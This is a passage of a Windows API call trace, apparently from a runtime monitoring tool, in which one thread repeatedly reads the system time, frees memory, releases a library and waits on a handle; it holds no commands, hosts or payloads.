lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48d72f4a, dwHighDateTime=0x1d9eb0c)) [0236.681] free (_Block=0x20abc281fa0) [0236.681] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.682] free (_Block=0x20abc284e70) [0236.683] free (_Block=0x20abc27cb20) [0236.683] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48d9923b, dwHighDateTime=0x1d9eb0c)) [0236.701] free (_Block=0x20abc2819a0) [0236.701] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.702] free (_Block=0x20abc284e70) [0236.703] free (_Block=0x20abc27cb20) [0236.703] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48dbf2fe, dwHighDateTime=0x1d9eb0c)) [0236.711] free (_Block=0x20abc2820a0) [0236.711] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.712] free (_Block=0x20abc284e70) [0236.712] free (_Block=0x20abc27cb20) [0236.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48dbf2fe, dwHighDateTime=0x1d9eb0c)) [0236.719] free (_Block=0x20abc281ce0) [0236.719] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.720] free (_Block=0x20abc284e70) [0236.721] free (_Block=0x20abc27cf80) [0236.721] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48e57cbd, dwHighDateTime=0x1d9eb0c)) [0236.775] free (_Block=0x20abc281e40) [0236.775] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.776] free (_Block=0x20abc284e70) [0236.777] free (_Block=0x20abc27cf80) [0236.777] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48e7dfca, dwHighDateTime=0x1d9eb0c)) [0236.792] free (_Block=0x20abc281ba0) [0236.792] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.793] free (_Block=0x20abc284e70) [0236.793] free (_Block=0x20abc27cf80) [0236.794] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48e7dfca, dwHighDateTime=0x1d9eb0c)) [0236.801] free (_Block=0x20abc281b20) [0236.801] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.802] free (_Block=0x20abc284e70) [0236.803] free (_Block=0x20abc27cf80) [0236.803] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48ea4770, dwHighDateTime=0x1d9eb0c)) [0236.812] free (_Block=0x20abc281ba0) [0236.812] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.813] free (_Block=0x20abc284e70) [0236.814] free (_Block=0x20abc27cf80) [0236.814] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48f62c86, dwHighDateTime=0x1d9eb0c)) [0236.883] free (_Block=0x20abc281960) [0236.883] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.884] free (_Block=0x20abc284e70) [0236.885] free (_Block=0x20abc27cf80) [0236.886] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48f62c86, dwHighDateTime=0x1d9eb0c)) [0236.898] free (_Block=0x20abc281d20) [0236.898] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.899] free (_Block=0x20abc284e70) [0236.901] free (_Block=0x20abc27cf80) [0236.901] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48fbc89b, dwHighDateTime=0x1d9eb0c)) [0236.925] free (_Block=0x20abc282060) [0236.925] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.925] free (_Block=0x20abc284e70) [0236.926] free (_Block=0x20abc27cf80) [0236.926] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49094172, dwHighDateTime=0x1d9eb0c)) [0237.009] free (_Block=0x20abc2820c0) [0237.010] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.011] free (_Block=0x20abc284e70) [0237.012] free (_Block=0x20abc2ab270) [0237.012] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x490ba55c, dwHighDateTime=0x1d9eb0c)) [0237.033] free (_Block=0x20abc2820c0) [0237.033] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.034] free (_Block=0x20abc284e70) [0237.035] free (_Block=0x20abc27cb20) [0237.035] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x490e0930, dwHighDateTime=0x1d9eb0c)) [0237.041] free (_Block=0x20abc281b80) [0237.042] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.042] free (_Block=0x20abc284e70) [0237.043] free (_Block=0x20abc27cb20) [0237.044] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49178e47, dwHighDateTime=0x1d9eb0c)) [0237.102] free (_Block=0x20abc282040) [0237.102] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.103] free (_Block=0x20abc284e70) [0237.104] free (_Block=0x20abc27cf80) [0237.104] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49178e47, dwHighDateTime=0x1d9eb0c)) [0237.113] free (_Block=0x20abc281bc0) [0237.113] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.114] free (_Block=0x20abc284e70) [0237.115] free (_Block=0x20abc27cb20) [0237.115] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4919f089, dwHighDateTime=0x1d9eb0c)) [0237.129] free (_Block=0x20abc281b40) [0237.129] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.130] free (_Block=0x20abc284e70) [0237.131] free (_Block=0x20abc27cb20) [0237.131] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x491c547c, dwHighDateTime=0x1d9eb0c)) [0237.140] free (_Block=0x20abc281e00) [0237.140] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.140] free (_Block=0x20abc284e70) [0237.141] free (_Block=0x20abc27cb20) [0237.141] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49283fbb, dwHighDateTime=0x1d9eb0c)) [0237.216] free (_Block=0x20abc281a80) [0237.217] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.218] free (_Block=0x20abc284e70) [0237.219] free (_Block=0x20abc27cb20) [0237.219] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49283fbb, dwHighDateTime=0x1d9eb0c)) [0237.226] free (_Block=0x20abc281e20) [0237.226] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.227] free (_Block=0x20abc284e70) [0237.228] free (_Block=0x20abc27cb20) [0237.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x492aa23c, dwHighDateTime=0x1d9eb0c)) [0237.237] free (_Block=0x20abc282060) [0237.237] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.238] free (_Block=0x20abc284e70) [0237.239] free (_Block=0x20abc27cb20) [0237.239] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x492f64f8, dwHighDateTime=0x1d9eb0c)) [0237.272] free (_Block=0x20abc281c60) [0237.273] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.273] free (_Block=0x20abc284e70) [0237.274] free (_Block=0x20abc27cf80) [0237.274] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x493b51cd, dwHighDateTime=0x1d9eb0c)) [0237.337] free (_Block=0x20abc281de0) [0237.338] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.338] free (_Block=0x20abc284e70) [0237.339] free (_Block=0x20abc2abea0) [0237.339] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x493db330, dwHighDateTime=0x1d9eb0c)) [0237.353] free (_Block=0x20abc281960) [0237.354] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.354] free (_Block=0x20abc284e70) [0237.355] free (_Block=0x20abc27cb20) [0237.355] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x493db330, dwHighDateTime=0x1d9eb0c)) [0237.362] free (_Block=0x20abc281c80) [0237.363] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.364] free (_Block=0x20abc284e70) [0237.364] free (_Block=0x20abc27cb20) [0237.365] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49427843, dwHighDateTime=0x1d9eb0c)) [0237.382] free (_Block=0x20abc282000) [0237.382] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.383] free (_Block=0x20abc284e70) [0237.384] free (_Block=0x20abc27cf80) [0237.384] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4949a041, dwHighDateTime=0x1d9eb0c)) [0237.446] free (_Block=0x20abc281c20) [0237.446] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.447] free (_Block=0x20abc284e70) [0237.448] free (_Block=0x20abc27cb20) [0237.448] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x494e62ad, dwHighDateTime=0x1d9eb0c)) [0237.460] free (_Block=0x20abc281e20) [0237.460] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.461] free (_Block=0x20abc284e70) [0237.462] free (_Block=0x20abc27cb20) [0237.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x494e62ad, dwHighDateTime=0x1d9eb0c)) [0237.469] free (_Block=0x20abc281960) [0237.469] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.470] free (_Block=0x20abc284e70) [0237.471] free (_Block=0x20abc27cb20) [0237.472] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4950ce7b, dwHighDateTime=0x1d9eb0c)) [0237.480] free (_Block=0x20abc281ec0) [0237.480] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.481] free (_Block=0x20abc284e70) [0237.482] free (_Block=0x20abc27cb20) [0237.482] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x495a56ad, dwHighDateTime=0x1d9eb0c)) [0237.539] free (_Block=0x20abc281a80) [0237.540] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.541] free (_Block=0x20abc284e70) [0237.541] free (_Block=0x20abc27cb20) [0237.542] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x495a56ad, dwHighDateTime=0x1d9eb0c)) [0237.551] free (_Block=0x20abc2820e0) [0237.551] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.552] free (_Block=0x20abc284e70) [0237.553] free (_Block=0x20abc27cb20) [0237.553] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x495cb324, dwHighDateTime=0x1d9eb0c)) [0237.562] free (_Block=0x20abc281fc0) [0237.562] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.563] free (_Block=0x20abc284e70) [0237.563] free (_Block=0x20abc27cf80) [0237.564] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x495f2dd8, dwHighDateTime=0x1d9eb0c)) [0237.575] free (_Block=0x20abc281de0) [0237.575] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.576] free (_Block=0x20abc284e70) [0237.576] free (_Block=0x20abc27cf80) [0237.577] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49696ceb, dwHighDateTime=0x1d9eb0c)) [0237.640] free (_Block=0x20abc281c40) [0237.640] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.641] free (_Block=0x20abc284e70) [0237.642] free (_Block=0x20abc27cf80) [0237.642] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x496b04ad, dwHighDateTime=0x1d9eb0c)) [0237.650] free (_Block=0x20abc281ee0) [0237.651] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.652] free (_Block=0x20abc284e70) [0237.653] free (_Block=0x20abc27cb20) [0237.653] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x496b04ad, dwHighDateTime=0x1d9eb0c)) [0237.660] free (_Block=0x20abc281c20) [0237.660] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.661] free (_Block=0x20abc284e70) [0237.662] free (_Block=0x20abc27cb20) [0237.662] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x496d63b4, dwHighDateTime=0x1d9eb0c)) [0237.669] free (_Block=0x20abc282020) [0237.669] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.669] free (_Block=0x20abc284e70) [0237.670] free (_Block=0x20abc27cb20) [0237.670] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x496fc553, dwHighDateTime=0x1d9eb0c)) [0237.681] free (_Block=0x20abc281a80) [0237.681] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.682] free (_Block=0x20abc284e70) [0237.685] free (_Block=0x20abc27cf80) [0237.685] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49794e64, dwHighDateTime=0x1d9eb0c)) [0237.749] free (_Block=0x20abc281bc0) [0237.750] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.751] free (_Block=0x20abc284e70) [0237.752] free (_Block=0x20abc27cb20) [0237.752] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x497bb144, dwHighDateTime=0x1d9eb0c)) [0237.760] free (_Block=0x20abc281d20) [0237.760] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.761] free (_Block=0x20abc286a50) [0237.762] free (_Block=0x20abc27cf80) [0237.762] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x497bb144, dwHighDateTime=0x1d9eb0c)) [0237.769] free (_Block=0x20abc281f60) [0237.770] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.770] free (_Block=0x20abc286a50) [0237.771] free (_Block=0x20abc27cf80) [0237.771] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x497e1415, dwHighDateTime=0x1d9eb0c)) [0237.780] free (_Block=0x20abc281ac0) [0237.780] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.781] free (_Block=0x20abc286a50) [0237.782] free (_Block=0x20abc27cf80) [0237.782] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49879c2c, dwHighDateTime=0x1d9eb0c)) [0237.836] free (_Block=0x20abc281a20) [0237.836] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.837] free (_Block=0x20abc286a50) [0237.838] free (_Block=0x20abc27cf80) [0237.838] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4989fedb, dwHighDateTime=0x1d9eb0c)) [0237.853] free (_Block=0x20abc281ec0) [0237.853] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.853] free (_Block=0x20abc286a50) [0237.854] free (_Block=0x20abc2abe00) [0237.855] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x498c66cb, dwHighDateTime=0x1d9eb0c)) [0237.873] free (_Block=0x20abc281d60) [0237.873] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.874] free (_Block=0x20abc286a50) [0237.875] free (_Block=0x20abc27cf80) [0237.875] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x499aaf2d, dwHighDateTime=0x1d9eb0c)) [0237.965] free (_Block=0x20abc281b80) [0237.965] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.966] free (_Block=0x20abc286a50) [0237.968] free (_Block=0x20abc27cb20) [0237.968] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x499eacac, dwHighDateTime=0x1d9eb0c)) [0237.989] free (_Block=0x20abc281fc0) [0237.989] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0237.990] free (_Block=0x20abc284e70) [0237.992] free (_Block=0x20abc27cb20) [0237.992] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0237.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x499f7866, dwHighDateTime=0x1d9eb0c)) [0237.999] free (_Block=0x20abc281fc0) [0237.999] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.000] free (_Block=0x20abc284e70) [0238.001] free (_Block=0x20abc27cb20) [0238.001] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49adc307, dwHighDateTime=0x1d9eb0c)) [0238.091] free (_Block=0x20abc281f60) [0238.092] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.092] free (_Block=0x20abc284e70) [0238.093] free (_Block=0x20abc27cf80) [0238.093] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49b02880, dwHighDateTime=0x1d9eb0c)) [0238.101] free (_Block=0x20abc281b20) [0238.101] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.102] free (_Block=0x20abc284e70) [0238.103] free (_Block=0x20abc27cf80) [0238.103] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49b02880, dwHighDateTime=0x1d9eb0c)) [0238.112] free (_Block=0x20abc281f00) [0238.112] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.113] free (_Block=0x20abc284e70) [0238.114] free (_Block=0x20abc27cf80) [0238.114] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49b28cf7, dwHighDateTime=0x1d9eb0c)) [0238.123] free (_Block=0x20abc281c00) [0238.123] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.124] free (_Block=0x20abc284e70) [0238.125] free (_Block=0x20abc27cf80) [0238.125] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49bc114d, dwHighDateTime=0x1d9eb0c)) [0238.181] free (_Block=0x20abc281e60) [0238.181] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0238.182] free (_Block=0x20abc284e70) [0238.183] free (_Block=0x20abc27cb20) [0238.183] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0238.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x49bc114d, dwHighDateTime=0x1d9eb0c)) 